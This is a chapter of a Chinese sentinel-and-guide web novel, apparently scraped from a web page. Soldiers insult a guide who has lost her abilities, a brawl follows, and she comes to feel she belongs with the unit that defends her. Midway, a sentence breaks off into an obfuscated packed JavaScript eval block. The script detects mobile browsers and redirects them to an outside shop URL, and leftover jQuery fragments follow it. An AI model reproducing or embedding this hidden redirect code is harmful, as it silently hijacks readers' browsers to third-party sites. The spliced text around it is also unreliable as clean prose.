人类和虫族战斗时,一些高阶虫族身体里的结晶,会在战斗死亡时连同尸体,掉落在附近星球里。
这种结晶有大有小,没了虫族提供的养分,到了一定时间,结晶会分解,释放出污染物质,迅速扩散覆盖开来,形成一个区域,称之为污染区。
在这些污染物质不断侵蚀下,所有变异植物和变异兽的污染值会逐步上升继而暴动,而结晶释放出所有污染物质后,会剩下里头的一对虫卵。
随着时间增长,虫卵孵化,出生的虫族在污染区内快速成长,虫族母体又会产下数以百计的虫卵。
一般情况下,战斗过后,军部都会对周边的星球进行搜索,但难免会有遗漏的。
若是在人类基地城市还算是好的,结晶释放出污染物质时,设置在周围的检测仪器就会响起警报,哨兵所会安排区域内的人员尽快撤离,随后临近的军部会派出队伍,寻找回收结晶,并到污染区里的暴动的变异生物进行清剿。
若是出现在野外,或者人迹罕至的地方,若不能尽早发现,就会造成一波生灵涂炭。
这次的污染区域野外,但非常接近人类基地,所以污染区域形成后,当地就已经组织了附近人员撤离。
只是根据仪器探查,这次的区域比较大,而且野外变异动植物本来就多,所以需要两个军部联合处理。
童喜垣兄妹先去归队,明泱泱因为精神域坍塌,郑老怕她抵御不了污染,所以给她制作了一个空气循环的口罩,佩戴过程有点繁琐,所以归队慢了一些。
一百人的队伍,还没正式集队,人群三三两两的说着话,十分嘈杂。
为了保证向导的安全,向导的位置处于队伍的中间。
当明泱泱跟着骆宇走进队伍的时候,第八军部哨兵们的目光,肆无忌惮地落在她身上,话语也毫无遮掩。
“这就是被白塔放弃的那个向导吗?”
“听说是A级的。”
“A级又怎么样?还不是废物一个。”
“不能疏导的向导有个屁用。”
路过的明泱泱听到了,默默地低下了头。
哨兵们的五感本就灵敏,明泱泱听到了,他们自然也听到。
第九军部这边的队伍突然安静了下来,就好像环回播放着的喇叭突然坏了一半,声音瞬间消失了一半。
不知道是谁先开的口,“刚刚谁说我们向导小姐的,站出来!”
“能不能疏导关你们屁事啊。”
“那张臭嘴不会说话就出来,让老子给你闭上。”
“闭不上嘴的,出来打一场。”
一声声的叫骂声,出自第九军部的哨兵队伍。
第八军部那几个说人坏话的也不怂,“就说了怎么样?废物还不让人说了?”
“就是,不能疏导就躲在家里,出来增加别人负担做什么?”
“我草你妈的,要你保护了?”第九军部这边一个哨兵猛地上前一步,逮着说话的人就是一拳。
一个带头,其他人也跟着动了,就连队伍前方少部分还没搞清楚什么事的人,也只能跟着动手,两边的队伍精神体全部放出,瞬间形成了一片混战。
“够了,都停手。”骆宇将明泱泱护在怀中,S级精神力迅速扩散开去,威压如同大山一样,将在场的低级哨兵们压得喘不过气,好些人直接跪在了地上。
两个军部这趟任务的副指挥,顶着这股威压大喊,“列队,集合!”
骆宇收回精神力,两队哨兵互相瞪眼,各自闭嘴集队,没人敢在这个时候违反军令。
然而就在这安静的时刻,有几个人“呕”了一声,吐出血来。
第八军部这次带队出任务的是A级的哨兵,见了这状况,也不得不过问一句,“骆上将,虽然你等级高,作为这趟任务的总指挥林克,但也不能如此欺压我们第八军部吧。”
骆宇将怀中的明泱泱板正身子面对众人,高声质问:“明向导虽然昏睡了五年,但这五年来,白塔每个月都会抽她的血液制作抑制剂,一个月三千支,五年就是十八万支,还没算被偷卖到黑市里的那些。你们第八军部敢保证些救命药里,没有你们用过的份吗?”
第八军部的队伍一片寂静。
骆宇这才看向林克,“用着别人的血保命,还要骂别人是废物,你们第八军部的军纪有够好的。”
林克汗颜,实在无言而对。
向导的工作量和具体工作情况是不公开的,但骆宇敢当着这么多人说出来,自然不会是无的放矢。
“天呐,每个月都抽血?这太恐怖了,难怪她这么瘦。”童喜宁小声说道。
童喜垣压着声音回她,“我抽一次血,身体要虚弱三天,精神域要难受五天。”
两兄妹很小声的说着悄悄话,这现场本来就安静,哨兵那听力就不用说了,一字一句听得清清楚楚。
刚刚吐血的几个哨兵当中,有个本还是心有不甘想要嘴硬地说上两句的,听着这两人的对话,想说的话卡在嗓子里,硬是没说出来。
“出发吧。”骆宇说了一句,带着明泱泱走进了队伍中间。
一直没说话的明泱泱,只觉得心里头有一股情绪,不停地在翻滚。
母亲改嫁之后,在那个家里,她不论做什么,家里人都不满意,有什么想法,都不会被认同。
她和继姐发生争执,母亲不问缘由,第一时间的反应,就是认定她是错的哪一方。
“快跟你姐姐道歉。”
“肯定是你做得不好,所以你姐姐才会生气。”
“肯定是你做错事了,你姐姐才会打你。”
若然最后事情说清楚,确定不是她的错,母亲也只会说,“一点小事而已,吵什么吵……”
可是今天,哪怕对方说得没错,她的确不能做疏导工作了,的确是个废物,但这些人二话不说,就站在她这一边。
明明是完全不相识的陌生人。
明明今天只是第一次见面。
可就是这样的陌生人,维护了她。
事实上她醒来后的这段日子里,在第九军部住得很好,也吃得很好,身边的人比如元帅,郑老他们也对她很好,然而她心里想的是,这是给她作为向导的待遇,她以后要好好工作,才能配得上这份待遇。
但在今天,她对第九军部有了不一样的感觉。
那感觉就像心中那颗发
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17768218|209815||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
芽的种子,终于找到了一片能扎根的地。
她不仅是一个向导,她还是第九军部的一份子。
从这一刻开始,她对第九军部,有了归属感。
那股翻滚着的情绪就在她心里头不断起伏,以至于她现在根本忍不住,眼睛一眨就落下了泪。
那是感动的泪水。
可是这么多人在,哭泣太丢脸了,明泱泱赶紧低头抹掉眼泪。
她以为别人不知道,可身边的骆宇目光微暗,已经后悔刚才下手太轻了。
而跟在她身后的那些哨兵,一个个偷偷地互相用眼神交流,双手比划着几个简单的手势。
向导小姐哭了。
都怪隔壁那群龟孙子,等下要不给他们点教训?
同意。
后面还有没有愿意参与的,给个表示。
收到。
收到。
收到……
第九军部这边无声的小动静,第八军部的哨兵们都留意到了,只不过除了通用的联邦手势,各军部都有自己的一套暗语手势,不同军部的他们无法知晓到底是什么意思,只能频频地投去好奇的目光。
只是第九军部这边简短的手势很快比划结束,两个队伍照常前进,刚刚的一切好像没有发生过一样。
过了一阵子,手势这件事,第八军部的哨兵们都没在意了。
队伍正常前行,正式进入污染区,首要任务是收容污染区内的晶石。
越靠近晶石的位置,污染浓度越高,变异兽和变异植物也会更多,骆宇虽然是总指挥,但开会的时候他说过了,他这趟的主要任务是保护他们第九军部的向导,至于作战的事情,由两位副指挥安排,如非必要,他不会参与战斗。
因为这个污染区域大部分位置在野外,队伍刚前进了十来分钟,就遇到了变异兽的袭击。
一两头变异兽不算什么,队伍前方的哨兵就能解决,只是整个队伍严阵以待起来。
大家的目光都落在前方,没人注意到地上有几条善于潜伏的小蛇,在地上跟随着众人脚步的节奏,蜿蜒爬行。
第九军部其中一位哨兵不经意地打了一个响指。
那几条小蛇在这个指令下,忽然变大变粗,瞧准了前方的目标,绷直身体一下子蹿了出去。
“嗷!谁捅我屁股!”
“啊!”
“我靠!”
几道惨叫声响起,众人看到有什么东西一闪而过就消失不见,几个哨兵捂着屁股跳出了队伍。
哦,原来是刚才骂了向导的那几个哨兵啊。
看来这是第九军部的手笔了。
虽然大家都是同一个军部的,可这几个人的确是该教训一下。
无人理会这点小意外。
那几个哨兵感受到来自队伍后方,自家队长那带着警告的目光,缩了缩脖子,小跑着归队。
脸丢了,回去加训也是必然的。
但他们也认下了。
背后说向导是他们不对,刚刚看到那个娇小的向导在偷偷抹眼泪,他们都后悔极了,现在第九军部的哨兵,没有在战斗时才来坑他们,已经很有品了,这样的惩罚,他们也认了。